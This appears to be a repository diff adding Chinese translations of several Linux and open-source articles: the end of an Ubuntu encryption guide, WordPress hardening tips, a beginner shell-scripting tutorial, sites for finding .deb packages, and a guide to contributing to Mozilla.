进行磁盘加密之后,如果没有加密密钥则无法开启 Ubuntu。尽管无趣但这种级别的加密使用最容易的并且还充分利用了操作系统提供的特性。用户不需要过多的知识或者使用其他第三方程序就可以很快完成加密要求。
![加密电脑](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-decrypt-computer.jpg "ubuntu-encrypt-decrypt-computer")
![加密电脑](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-decrypt-computer.jpg "ubuntu-encrypt-decrypt-computer")
加密之后的 Ubuntu使用起来和没有加密的并没有什么区别。没有额外的跳转,也不需要学习什么复杂的解密方法。对于那些非常在意隐私但又不想太过麻烦的人来说,这个提高安全等级的方法是必须学会的 (PS. 当然,这很容易不是吗)
加密之后的 Ubuntu使用起来和没有加密的并没有什么区别。不需要其他的步骤,也不需要学习什么复杂的解密方法。对于那些非常在意隐私但又不想太过麻烦的人来说,这个提高安全等级的方法是必须学会的(当然,这很容易不是吗)
你是否会使用 Ubuntu 对硬盘进行加密呢?在下方评论告诉我们。
@ -82,8 +82,6 @@
译者简介:
![GHLandy](http://GHLandy.com/images/GHLandy.ico)
[GHLandy](http://GHLandy.com) —— 欲得之,则为之奋斗 (If you want it, work for it.)。
-----------------------------------
@ -92,7 +90,7 @@ via: https://www.maketecheasier.com/encrypt-hard-disk-in-ubuntu/
作者:[Derrik Diener][a]
译者:[GHLandy](https://github.com/GHLandy)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -0,0 +1,62 @@
5 个让你的 WordPress 网站安全的技巧
============================================================
![](https://www.rosehosting.com/blog/wp-content/uploads/2017/01/tips-for-securing-wp.jpg)
WordPress 是迄今为止最流行的博客平台。
正由于它的流行也因此带来了正面和负面的影响。事实上几乎每个人都使用它使它更容易被发现漏洞。WordPress 的开发人员做了很多工作,一旦新的缺陷被发现,就会发布修复和补丁,但这并不意味着你可以安装完就置之脑后。
在这篇文章中,我们将提供一些最常见的保护和强化 WordPress 网站的方法。
### 在登录后台时总是使用 SSL
不用说的是,如果你并不打算只是做一个随意的博客,你应该总是使用 SSL。不使用加密连接登录到你的网站会暴露你的用户名和密码。任何人嗅探流量都可能会发现你的密码。如果你使用 WiFi 上网或者连接到一个公共热点,那么你被黑的几率更高,这是特别真实的。你可以从[这里][1]获取受信任的免费 SSL 证书。
### 精心挑选附加的插件
由第三方开发人员所开发,每个插件的质量和安全性总是值得怀疑,并且它仅取决于其开发人员的经验。当安装任何额外的插件时,你应该仔细选择,并考虑其受欢迎程度以及插件的维护频率。应该避免维护不良的插件,因为它们更容易出现易于被利用的错误和漏洞。
此主题也是上一个关于 SSL 主题的补充因为许多插件包含的脚本会发出不安全连接HTTP的请求。只要你的网站通过 HTTP 访问,一切似乎很好。但是,一旦你决定使用加密并强制使用 SSL 访问,则会立即导致网站的功能被破坏,因为当你使用 HTTPS 访问其他网站时,这些插件上的脚本将继续通过 HTTP 提供请求。
### 安装 Wordfence
Wordfence 是由 Feedjit Inc. 开发的Wordfence 是目前最流行的 WordPress 安全插件,并且是每个严肃的 WordPress 网站必备的,特别是那些使用 [WooCommerce][2] 或其它的 WordPress 电子商务平台的网站。
Wordfence 不只是一个插件,因为它提供了一系列加强您的网站的安全功能。它具有 web 程序防火墙、恶意软件扫描、实时流量分析器和各种其它工具,它们可以提高你网站的安全性。防火墙将默认阻止恶意登录尝试,甚至可以配置为按照 IP 地址范围来阻止整个国家/地区的访问。我们真正喜欢 Wordfence 的原因是即使你的网站因为某些原因被侵害例如恶意脚本Wordfence 可以在安装以后扫描和清理你的网站上被感染的文件。
该公司提供这个插件的免费和付费订阅计划,但即使是免费计划,你的网站仍将获得令人满意的水平。
### 用额外的密码锁住 /wp-admin 和 /wp-login.php
保护你的 WordPress 后端的另一个步骤是使用额外的密码保护任何除了你以外不打算让任何人使用的目录即URL。 /wp-admin 目录属于此关键目录列表。 如果你不允许普通用户登录 WordPress你应该使用密码限制对 wp.login.php 文件的访问。无论是使用 [Apache][3] 还是 [Nginx][4],你都可以访问这两篇文章,了解如何额外保护 WordPress 安装。
### 禁用/停止用户枚举
这是攻击者发现你网站上的有效用户名的一种相当简单的方法(即找出管理员用户名)。那么它是如何工作的?这很简单。在任何 WordPress 站点上的主要 URL 后面跟上 `/?author=1` 即可。 例如:`wordpressexample.com/?author=1`。
要保护您的网站免受此影响,只需安装[停止用户枚举][5]插件。
### 禁用 XML-RPC
RPC 代表远程过程调用,它可以用来从位于网络上另一台计算机上的程序请求服务的协议。对于 WordPress 来说XML-RPC 允许你使用流行的网络博客客户端(如 Windows Live Writer在你的 WordPress 博客上发布文章,如果你使用 WordPress 移动应用程序那么也需要它。 XML-RPC 在早期版本中被禁用,但是从 WordPress 3.5 时它被默认启用,这让你的网站面临更大的攻击可能。虽然各种安全研究人员建议这不是一个大问题,但如果你不打算使用网络博客客户端或 WP 的移动应用程序,你应该禁用 XML-RPC 服务。
有多种方法可以做到这一点,最简单的是安装[禁用 XML-RPC][6]插件。
--------------------------------------------------------------------------------
via: https://www.rosehosting.com/blog/5-tips-for-securing-your-wordpress-sites/
作者:[rosehosting.com][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:rosehosting.com
[1]:https://letsencrypt.org/
[2]:https://www.rosehosting.com/woocommerce-hosting.html
[3]:https://www.rosehosting.com/blog/password-protect-a-directory-using-htaccess/
[4]:https://www.rosehosting.com/blog/password-protecting-directories-with-nginx/
[5]:https://wordpress.org/plugins/stop-user-enumeration/
[6]:https://wordpress.org/plugins/disable-xml-rpc/

View File

@ -0,0 +1,357 @@
shell 脚本之始
============================================================
![脚本之始](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/osdc_terminals.png?itok=QmkPW7P1 "Getting started with shell scripting")
图片引用自:[ajmexico][1][Jason Baker][2] 修改。 [CC BY-SA 2.0][3]。
世界上对 shell 脚本最好的概念性介绍来自一个老的 [ATT 培训视频][4] 。在视频中Brian W. Kernighan**awk** 中的“K”Lorinda L. Cherry**bc** 作者之一)论证了 UNIX 的基础原则之一是让用户利用现有的实用程序来定制和创建复杂的工具。
用 [Kernighan][5] 的话来说“UNIX 系统程序基本上是 …… 你可以用来创造东西的构件。…… 管道的概念是 [UNIX] 系统的基础;你可以拿一堆程序 …… 并将它们端到端连接到一起,使数据从左边的一个流到右边的一个,由系统本身管着所有的连接。程序本身不知道任何关于连接的事情;对它们而言,它们只是在与终端对话。”
他说的是给普通用户以编程的能力。
POSIX 操作系统本身就像是一个 API。如果你能弄清楚如何在 POSIX 的 shell 中完成一个任务,那么你可以自动化这个任务。这就是编程,这种日常 POSIX 编程方法的主要方式就是 shell 脚本。
像它的名字那样shell _脚本_ 是一行一行你想让你的计算机执行的语句,就像你手动的一样。
因为 shell 脚本包含常见的日常命令,所以熟悉 UNIX 或 Linux通常称为 **POSIX** 系统)对 shell 是有帮助的。你使用 shell 的经验越多,就越容易编写新的脚本。这就像学习外语:你心里的词汇越多,组织复杂的句子就越容易。
当您打开终端窗口时,就是打开了 _shell_ 。shell 有好几种,本教程适用于 **bash**、**tcsh**、**ksh**、**zsh** 和其它几个。在下面几个部分,我提供一些 bash 特定的例子,但最终的脚本不会用那些,所以你可以切换到 bash 中学习设置变量的课程,或做一些简单的[语法调整][6]。
如果你是新手,只需使用 **bash** 。它是一个很好的 shell有许多友好的功能它是 Linux、Cygwin、WSL、Mac 默认的 shell并且在 BSD 上也支持。
### Hello world
您可以从终端窗口生成您自己的 **hello world** 脚本 。注意你的引号单和双都会有不同的效果LCTT 译注:想必你不会在这里使用中文引号吧)。
```
$ echo "#\!/bin/sh" > hello.sh
$ echo "echo 'hello world' " >> hello.sh
```
正如你所看到的,编写 shell 脚本就是这样,除了第一行之外,就是把命令“回显”或粘贴到文本文件中而已。
像应用程序一样运行脚本:
```
$ chmod +x hello.sh
$ ./hello.sh
hello world
```
不管多少,这就是一个 shell 脚本了。
现在让我们处理一些有用的东西。
### 去除空格
如果有一件事情会干扰计算机和人类的交互那就是文件名中的空格。您在互联网上看到过http//example.com/omg%2ccutest%20cat%20photophoto%21%211.jpg** 等网址。或者,当你不管不顾地运行一个简单的命令时,文件名中的空格会让你掉到坑里:
```
$ cp llama pic.jpg ~/photos
cp: cannot stat 'llama': No such file or directory
cp: cannot stat 'pic.jpg': No such file or directory
```
解决方案是用反斜杠来“转义”空格,或使用引号:
```
$ touch foo\ bar.txt
$ ls "foo bar.txt"
foo bar.txt
```
这些都是要知道的重要的技巧,但是它并不方便,为什么不写一个脚本从文件名中删除这些烦人的空格?
创建一个文件来保存脚本以释伴shebang**#!** 开头,让系统知道文件应该在 shell 中运行:
```
$ echo '#!/bin/sh' > despace
```
好的代码要从文档开始。定义好目的让我们知道要做什么。这里有一个很好的 README
```
despace is a shell script for removing spaces from file names.
Usage:
$ despace "foo bar.txt"
```
现在让我们弄明白如何手动做,并且如何去构建脚本。
假设你有个只有一个 "foo bar.txt" 文件的目录,比如:
```
$ ls
hello.sh
foo bar.txt
```
计算机无非就是输入和输出而已。在这种情况下,输入是 `ls` 特定目录的请求。输出是您所期望的结果:该目录文件的名称。
在 UNIX 中,可以通过“管道”将输出作为另一个命令的输入,无论在管道的另一侧是什么过滤器。 `tr` 程序恰好设计为专门修改传输给它的字符串;对于这个例子,可以使用 `--delete` 选项删除引号中定义的字符。
```
$ ls "foo bar.txt" | tr --delete ' '
foobar.txt
```
现在你得到了所需的输出了。
在 BASH shell 中,您可以将输出存储为**变量** 。变量可以视为将信息存储到其中的空位:
```
$ NAME=foo
```
当您需要返回信息时,可以通过在变量名称前面缀上美元符号(**$** )来引用该位置。
```
$ echo $NAME
foo
```
要获得您的这个去除空格后的输出并将其放在一边供以后使用请使用一个变量。将命令的_结果_放入变量使用反引号`)来完成:
```
$ NAME=`ls "foo bar.txt" | tr -d ' '`
$ echo $NAME
foobar.txt
```
我们完成了一半的目标,现在可以从源文件名确定目标文件名了。
到目前为止,脚本看起来像这样:
```
#!/bin/sh
NAME=`ls "foo bar.txt" | tr -d ' '`
echo $NAME
```
第二部分必须执行重命名操作。现在你可能已经知道这个命令:
```
$ mv "foo bar.txt" foobar.txt
```
但是,请记住在脚本中,您正在使用一个变量来保存目标名称。你已经知道如何引用变量:
```
#!/bin/sh
NAME=`ls "foo bar.txt" | tr -d ' '`
echo $NAME
mv "foo bar.txt" $NAME
```
您可以将其标记为可执行文件并在测试目录中运行它。确保您有一个名为 foo bar.txt或您在脚本中使用的其它名字的测试文件。
```
$ touch "foo bar.txt"
$ chmod +x despace
$ ./despace
foobar.txt
$ ls
foobar.txt
```
### 去除空格 v2.0
脚本可以正常工作,但不完全如您的文档所述。它目前非常具体,只适用于一个名为 `foo\ bar.txt` 的文件,其它都不适用。
POSIX 命令会将其命令自身称为 `$0`,并将其后键入的任何内容依次命名为 `$1``$2``$3` 等。您的 shell 脚本作为 POSIX 命令也可以这样计数,因此请尝试用 `$1` 来替换 `foo\ bar.txt`
```
#!/bin/sh
NAME=`ls $1 | tr -d ' '`
echo $NAME
mv $1 $NAME
```
创建几个新的测试文件,在名称中包含空格:
```
$ touch "one two.txt"
$ touch "cat dog.txt"
```
然后测试你的新脚本:
```
$ ./despace "one two.txt"
ls: cannot access 'one': No such file or directory
ls: cannot access 'two.txt': No such file or directory
```
看起来您发现了一个 bug
这实际上不是一个 bug一切都按设计工作但不是你想要的。你的脚本将 `$1` 变量真真切切地 “扩展” 成了“one two.txt”捣乱的就是你试图消除的那个麻烦的空格。
解决办法是将变量用以引号封装文件名的方式封装变量:
```
#!/bin/sh
NAME=`ls "$1" | tr -d ' '`
echo $NAME
mv "$1" $NAME
```
再做个测试:
```
$ ./despace "one two.txt"
onetwo.txt
$ ./despace c*g.txt
catdog.txt
```
此脚本的行为与任何其它 POSIX 命令相同。您可以将其与其他命令结合使用,就像您希望的使用的任何 POSIX 程序一样。您可以将其与命令结合使用:
```
$ find ~/test0 -type f -exec /path/to/despace {} \;
```
或者你可以使用它作为循环的一部分:
```
$ for FILE in ~/test1/* ; do /path/to/despace $FILE ; done
```
等等。
### 去除空格 v2.5
这个去除脚本已经可以发挥功用了,但在技术上它可以优化,它可以做一些可用性改进。
首先,变量实际上并不需要。 shell 可以一次计算所需的信息。
POSIX shell 有一个操作顺序。在数学中使用同样的方式来首先处理括号中的语句shell 在执行命令之前会先解析反引号或 Bash 中的 `$()` 。因此,下列语句:
```
$ mv foo\ bar.txt `ls foo\ bar.txt | tr -d ' '`
```
会变换成:
```
$ mv foo\ bar.txt foobar.txt
```
然后实际的 `mv` 命令执行,就得到了 **foobar.txt** 文件。
知道这一点,你可以将该 shell 脚本压缩成:
```
#!/bin/sh
mv "$1" `ls "$1" | tr -d ' '`
```
这看起来简单的令人失望。你可能认为它使脚本减少为一个单行并没有必要,但没有几行的 shell 脚本是有意义的。即使一个用简单的命令写的紧缩的脚本仍然可以防止你发生致命的打字错误,这在涉及移动文件时尤其重要。
此外,你的脚本仍然可以改进。更多的测试发现了一些弱点。例如,运行没有参数的 `despace` 会产生一个没有意义的错误:
```
$ ./despace
ls: cannot access '': No such file or directory
mv: missing destination file operand after ''
Try 'mv --help' for more information.
```
这些错误是让人迷惑的,因为它们是针对 `ls``mv` 发出的,但就用户所知,它运行的不是 `ls``mv`,而是 `despace`
如果你想一想,如果它没有得到一个文件作为命令的一部分,这个小脚本甚至不应该尝试去重命名文件,请尝试使用你知道的变量以及 `test` 功能来解决。
### if 和 test
`if` 语句将把你的小 despace 实用程序从脚本蜕变成程序。这里面涉及到代码领域,但不要担心,它也很容易理解和使用。
`if` 语句是一种开关;如果某件事情是真的,那么你会做一件事,如果它是假的,你会做不同的事情。这个 `if-then` 指令的二分决策正好是计算机是擅长的;你需要做的就是为计算机定义什么是真或假以及并最终执行什么。
测试真或假的最简单的方法是 `test` 实用程序。你不用直接调用它,使用它的语法即可。在终端试试:
```
$ if [ 1 == 1 ]; then echo "yes, true, affirmative"; fi
yes, true, affirmative
$ if [ 1 == 123 ]; then echo "yes, true, affirmative"; fi
$
```
这就是 `test` 的工作方式。你有各种方式的简写可供选择,这里使用的是 `-z` 选项它检测字符串的长度是否为零0。将这个想法翻译到你的 despace 脚本中就是:
```
#!/bin/sh
if [ -z "$1" ]; then
echo "Provide a \"file name\", using quotes to nullify the space."
exit 1
fi
mv "$1" `ls "$1" | tr -d ' '`
```
为了提高可读性,`if` 语句被放到单独的行,但是其概念仍然是:如果 `$1` 变量中的数据为空(零个字符存在),则打印一个错误语句。
尝试一下:
```
$ ./despace
Provide a "file name", using quotes to nullify the space.
$
```
成功!
好吧其实这是一个失败但它是一个_漂亮的_失败更重要的是一个_有意义_的失败。
注意语句 `exit 1` 。这是 POSIX 应用程序遇到错误时向系统发送警报的一种方法。这个功能对于需要在脚本中使用 despace ,并依赖于它成功执行才能顺利运行的你或其它人来说很重要。
最后的改进是添加一些东西,以保护用户不会意外覆盖文件。理想情况下,您可以将此选项传递给脚本,所以它是可选的;但为了简单起见,这里对其进行了硬编码。 `-i` 选项告诉 `mv` 在覆盖已存在的文件之前请求许可:
```
#!/bin/sh
if [ -z "$1" ]; then
echo "Provide a \"file name\", using quotes to nullify the space."
exit 1
fi
mv -i "$1" `ls "$1" | tr -d ' '`
```
现在你的 shell 脚本是有意义的、有用的、友好的 - 你是一个程序员了,所以不要停。学习新命令,在终端中使用它们,记下您的操作,然后编写脚本。最终,你会把自己从工作中解脱出来,当你的机器仆人运行 shell 脚本,接下来的生活将会轻松。
Happy hacking
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/penguinmedallion200x200.png?itok=ROQSR50J)
Seth Kenlon 是一位独立的多媒体艺术家,自由文化倡导者和 UNIX 极客。他是基于 Slackware 的多媒体制作项目http://slackermedia.ml的维护者之一
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/getting-started-shell-scripting
作者:[Seth Kenlon][a]
译者:[hkurj](https://github.com/hkurj)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/seth
[1]:https://www.flickr.com/photos/15587432@N02/3281139507/
[2]:https://opensource.com/users/jason-baker
[3]:https://creativecommons.org/licenses/by/2.0/
[4]:https://youtu.be/XvDZLjaCJuw
[5]:https://youtu.be/tc4ROCJYbm0
[6]:http://hyperpolyglot.org/unix-shells

View File

@ -0,0 +1,74 @@
5 个找到 deb 软件包的好地方
============================================================
![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/deb-packages.jpg "5 of the Best Places to Find DEBs Packages for Debian-Based Linux Distross")
基于 Debian 的 Linux 发行版上有一个共同特点:为用户提供了很多可选的软件。当涉及到为 Linux 制作软件时,所有的大公司都首先瞄准这种类型的 Linux 发行版。甚至一些开发人员根本不打算为其他类型的 Linux 发行版打包,只做 DEB 包。
然而,这么多的开发人员针对此类 Linux 发行版开发并不意味着用户在寻找软件方面不会遇到问题。一般情况下,大多数 Debian 和 Ubuntu 用户都是自己在互联网上搜索 DEB 包。
因此,我们决定写一篇文章,它涵盖了五个最好的可以找到 DEB 软件包的网站。 这样基于 Debian 的 Linux 发行版的用户就能够更容易地找到他们需要的软件,而不是浪费时间在互联网上搜索。
### 1、 Launchpad
[Launchpad][11] 是互联网上最大的基于 Debian 的软件包仓库。 为什么? 这是 PPA 所在的地方Canonical 创建了这个服务,所以任何开发商(无论是大的或小的)都可以使用它,并且轻松地将其软件包分发给 Ubuntu 用户。
不幸的是,并不是所有基于 Debian 的 Linux 发行版都是 Ubuntu。但是就算你的 Linux 发行版不使用 PPA也并不意味着此服务无用。Launchpad 使得直接下载任何 Debian 软件包进行安装成为可能。
![debian-packages-launchpad](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/debian-packages-launchpad.jpg "debian-packages-launchpad")
### 2、 Pkgs.org
除了 Launchpad[Pkgs.org][12] 可能是互联网上最大的查找 Debian 软件包的站点。如果一个 Linux 用户需要一个 deb并且不能在它的发行版的软件包仓库中找到它那它很可能在这个网站上找到。
![debian-packages-pkgs-org](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/debian-packages-pkgs-org.jpg "debian-packages-pkgs-org")
### 3、 Getdeb
[Getdeb][13] 是一个针对 Ubuntu 的项目,它托管了最新的 Ubuntu 版本的软件。这使它成为一个找 Debian 包的很好的地方。特别是如果用户使用的是 Ubuntu、Linux Mint、Elementary OS 和其他许多基于 Ubuntu 的 Linux 发行版上。此外,这些软件包甚至可以在 Debian 上工作!
![debian-packages-get-deb](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/debian-packages-get-deb.jpg "debian-packages-get-deb")
### 4、 RPM Seek
即使 [RPM Seek][14] 声称是 “Linux RPM 包搜索引擎”,奇怪的是,它也可以搜索 DEB 包。如果你试图找到一个特定的 DEB 包,并且在其他地方都找过了,再检查下 RPM Seek 或许是一个好主意,因为它可能有你所需要的。
![debian-packages-rpm-seek](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/debian-packages-rpm-seek.jpg "debian-packages-rpm-seek")
### 5、 Open Suse Software
[Open SUSE 构建服务OSB][15]是 Linux 上最知名的软件构建工具之一。有了它,开发人员可以轻松地将他们的代码为许多不同的 Linux 发行版打包。因此OSB 的包搜索允许用户下载 DEB 文件。
更有趣的是,许多开发人员选择使用 OSB 分发他们的软件,因为它可以轻松地生成 RPM、DEB 等。如果用户急切需要 DEBOSB 的服务很值得去看下。
![debian-packages-opensuse-build](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/debian-packages-opensuse-build.jpg "debian-packages-opensuse-build")
### 总结
寻找 Linux 发行版的包可能是乏味的,有时令人沮丧。想必介绍的这些网站可以让基于 Debian 的 Linux 发行版的用户在获得他们需要的软件时候更加轻松。
--------------------------------------------------------------------------------
via: https://www.maketecheasier.com/best-places-find-debs-packages/
作者:[Derrik Diener][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.maketecheasier.com/author/derrikdiener/
[1]:https://www.maketecheasier.com/author/derrikdiener/
[2]:https://www.maketecheasier.com/best-places-find-debs-packages/#comments
[3]:https://www.maketecheasier.com/category/linux-tips/
[4]:http://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.maketecheasier.com%2Fbest-places-find-debs-packages%2F
[5]:http://twitter.com/share?url=https%3A%2F%2Fwww.maketecheasier.com%2Fbest-places-find-debs-packages%2F&text=5+of+the+Best+Places+to+Find+DEBs+Packages+for+Debian-Based+Linux+Distros
[6]:mailto:?subject=5%20of%20the%20Best%20Places%20to%20Find%20DEBs%20Packages%20for%20Debian-Based%20Linux%20Distros&body=https%3A%2F%2Fwww.maketecheasier.com%2Fbest-places-find-debs-packages%2F
[7]:https://www.maketecheasier.com/add-paypal-wordpress/
[8]:https://www.maketecheasier.com/keep-kids-videos-out-youtube-history/
[9]:https://support.google.com/adsense/troubleshooter/1631343
[10]:https://www.maketecheasier.com/find-rpms-for-redhat-based-distros/
[11]:https://launchpad.net/
[12]:https://pkgs.org/
[13]:http://www.getdeb.net/welcome/
[14]:http://www.rpmseek.com/index.html
[15]:https://build.opensuse.org/

View File

@ -0,0 +1,129 @@
如何向 Mozilla 开源社区做贡献
============================================================
![How to get started contributing to Mozilla](https://opensource.com/sites/default/files/styles/image-full-size/public/images/education/rh_003588_01_rd3os.combacktoschoolserieshe_rh_041x_0.png?itok=yUgHEdMK "How to get started contributing to Mozilla")
opensource.com 供图
_千里之行始于足下(The journey of a thousand miles begins with one step) —— 老子_
参与开源工作有很多好处,可以帮助你优化和加速技术生涯,包括但不仅限于提高现实中的技术经验和拓展你的专业人脉。有很多你能做贡献的开源项目,无论是小型、中型、大型,还是不知名或知名的项目。在这篇文章里我们将专注于如何为网上最大最有名的开源项目之一 **Mozilla** ,做出贡献。
### 为什么要向 Mozilla 做贡献?
#### 现实经验
Mozilla 是网络上最大的开源项目之一,其也托管了许多其他的开源项目。所以,当你为像 Mozilla 这样的大型开源项目做贡献时,你能真正接触到技术领域中的事物是如何工作的,能增长关于技术术语和复杂系统功能的知识。最重要的是,你能理解如何将代码从本地系统移动到实际的代码仓库里。你将会学习在管理大型项目时,贡献者们使用的许多工具和技术,如 Github 、Docker、Bugzilla 等。
#### 社区联系
社区是任何开源项目的核心。向 Mozilla 做贡献将你与 Mozilla 的员工和顾问、资深 Mozilla 贡献者(又称 Mozillians以及你当地的 Mozilla 社区相互联系在一起。社区里有着同样关注并致力于改善开源项目的志趣相投的人们。
你也能有个机会来建立在 Mozilla 社区里的专属身份,激励其他 Mozillians 同伴。如果你想的话,最后你也能指导其他人。
#### 活动和酷物件
没有点充满乐趣的活动和小礼品的社区是不完整的。Mozilla 也不例外。
向 Mozilla 做贡献能给你机会参加 Mozilla 的内部活动。一旦你成为熟练的 Mozilla 贡献者,你将能主持你当地的 Mozilla 活动Mozilla 或许会予以资金支持)。当然,会另外提供些小礼品 —— 贴纸T恤马克杯等。
![印度 2016 Mozilla 聚会](https://opensource.com/sites/default/files/mozilla-india-meetup-2016.jpg "India Mozilla meetup 2016")
*根据 CC BY-SA 4.0 协议分享,印度 2016 Mozilla 聚会, Moin Shaikh 提供。*
### 如何向 Mozilla 做贡献
不管您是编程人员、网页设计师、品质控制测试者、翻译,或者是介于之间的任何职业,都有许多不同的方式向 Mozilla 做贡献。让我们看看以下两个主要方面:技术贡献和非技术贡献。
![贡献的方式](https://opensource.com/sites/default/files/ways-to-contribute-mozilla_0.jpg "Ways to contribute")
*根据 CC BY-SA 3.0 协议分享,  [Mozilla.org][1] 供图。*
#### 技术贡献
技术贡献是给那些喜欢编程,想要用他们的代码来弄出点动静的人。有不同的用特定编程语言的项目可供施展能力。
* 如果喜欢 C++ ,你能向火狐的核心层和其他 Mozilla 产品做贡献。
* 如果喜欢 JavaScript、HTML 和 CSS ,你能向火狐的前端做贡献。
* 如果你懂得 Java ,你能向火狐移动端、火狐安卓版和 MozStumbler LCTT 译注MozStumbler 是 Mozilla 开源无线网络扫描程序)做贡献。
* 如果你懂得 Python 你能给网络服务包括火狐同步Firefox Sync或者火狐账户Firefox Accounts做贡献。
* 如果你懂得 Shell、Make、Perl 或者 Python ,你能给 Mozilla 的编译系统和发布引擎和自动化做贡献。
* 如果你懂得 C 语言,你能给 NSS、Opus 和 Daala 做贡献。
* 如果你懂得 Rust 语言,你能给 RustC、Servo一个为并行、安全而设计的网页浏览器引擎或者 Quantum (一个将大量 Servo 转化为 Gecko 的项目)做贡献。
* 如果你懂得 Go 语言,你能给 Heka 做贡献,这是一个数据处理工具。
要获取更多信息,可以访问 <ruby>Mozilla 开发者网络<rt>Mozilla Developer Network</rt></ruby>MDN的[开始][3]部分来了解不同的贡献领域。
除了语言和代码,积极测试火狐浏览器的各个部分、火狐安卓浏览器和 Mozilla 的很多网络组件例如火狐附加组件等这样也能贡献你的品质保证QA和测试能力。
#### 非技术贡献
你也可以给 Mozilla 提供非技术贡献专注于以下领域品质保证QA测试文档翻译用户体验/用户界面UX/UI设计Web 识别web literacy开源宣讲open source advocacy给 Mozilla 的火狐用户、雷鸟用户提供支持等。
**品质保证QA测试** Mozilla 的 QA 团队遍及全世界,有着庞大且活跃的社区,他们深入参与到了火狐及 Mozilla 的其他项目中。QA 贡献者早期介入到各种产品,探索新的特性,记录漏洞,将已知漏洞分类,编写并执行测试用例,进行自动化测试,并从可用性角度提供有价值的反馈。想开始或者了解更多 Mozilla QA 社区资源,请访问 [Mozilla QA 社区][4] 网页。
**用户体验设计:** 如果你是个有创意的设计者或是个喜爱折腾色彩和图形的极客Mozilla 在其社区里有很多位置提供给你,在那里你能设计好用易理解的、美妙的 Mozilla 项目。去看看 Mozilla GitHub page 上的[<ruby>开放设计仓库<rt>Open Design repository</rt></ruby>][5] 页面。
**用户支持(论坛和社交支持):** 这是成千上万像你我这样的火狐、雷鸟用户访问和发帖询问关于火狐、雷鸟问题的地方。这也是他们从像我们这样的 Mozilla 贡献者获取回答的地方。这不需要编程才华,不需要设计技能,不需要测试能力,作为火狐用户支持贡献者,你只需要有点儿火狐的知识即可上手。点击 [SUMO][7] 的“[参与其中][6]”的链接来加入用户支持。从做支持开始或许是你着手开始你的 Mozilla 旅程中最简单的部分。(注:三年前,我从社区支持论坛开始我的 Mozilla 旅程)
**编写知识库和帮助文章:** 如果你喜欢写作和传授知识,知识库对你来说是个好地方。 Mozilla 总是在寻找能给火狐和其它产品用英文撰写、编辑、校对文章的志愿者。每周有成千上万的用户浏览这些知识库文章,通过分享你的智慧和编写帮助文章,你也能产生强大的影响力。访问 [Mozilla 知识库][8] 页面来参与其中。
**本地化,又称 “L10N”** LCTT 译注L10N 是 localization 的缩写形式,意即在 l 和 n 之间有 10 个字母) Mozilla 的产品,例如火狐,被全世界数百万讲着不同语言的人们所使用着。人们需要这些产品以他们的语言显示。语言本地化是个非常需要志愿者的领域。需要你的翻译和本地化能力的项目包括:
* Mozilla 产品,例如火狐
* Mozilla 网页和服务
* Mozilla 市场活动
* SUMO 产品支持文档
* MDN 开发者文档
你可以访问 [Mozilla 本地化][9]页面来参与其中。
**教授和 Web 识别web literacy能力** Mozilla 基本使命目标之一是使所有人都可访问网络。为了实现这个目标使命Mozilla 通过提供 web 识别工具和技术来致力于教育和帮助 Web 用户。这是可以用你的教授技能来帮助他人的地方。如果你是一位喜欢分享知识、给民众展示关于互联网相关东西的热情的老师,来看一下 Mozilla 发起的 [Web 教育][10]活动。将互联网和 web 识别教给你当地社区、学校孩子、你的朋友和其他有关的人。
**宣讲:** 如果你对 Mozilla 的使命充满热情,你能通过倡导 Mozilla 的使命来传播使命内容。当倡导 Mozilla 的使命时,你能做出如下来贡献:
* 捍卫公共规则,为开放的互联网和用户隐私做斗争。
* 跟网站管理者在兼容性方面合作,提高网站的互操作性。
* 帮助网络作者提升在开放网络方面的文章写作。
* 成为[火狐朋友Firefox Friends][2],展示你作为 Mozilla 和火狐贡献者的自豪。
想要开始帮助宣传 Mozilla 使命,看一下 [Mozilla 宣讲][11] 页面。
### 如果你还有疑惑,我来帮你开始!
我知道,作为一个新来的贡献者,这篇文章或许给你太多的信息。如果你需要更深入的方向、更多的资源资料,你可以在下面的评论中问我,或者[在 Twitter 里私信我][12],我很乐意帮助你开始向 Mozilla 做出第一次的贡献(或者更多!)
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/15492097_10205888026638370_7707367819712084708_n.jpg?itok=3R90PGkv)
Moin Shaikh 是一个开源科技极客,职业是网页分析,有着 7 年多的 IT 工作经验。主要贡献领域:火狐网络 QA ,火狐技术支持,本地化和社区指导。除了开源贡献,还学习并身体力行于用户体验、物料设计和电子商务分析。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/how-get-started-contributing-mozilla
作者:[Moin Shaikh][a]
译者:[ypingcn](https://github.com/ypingcn)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]: https://opensource.com/users/moinshaikh
[1]: http://mozilla.org/
[2]: https://www.mozilla.org/en-US/contribute/friends/
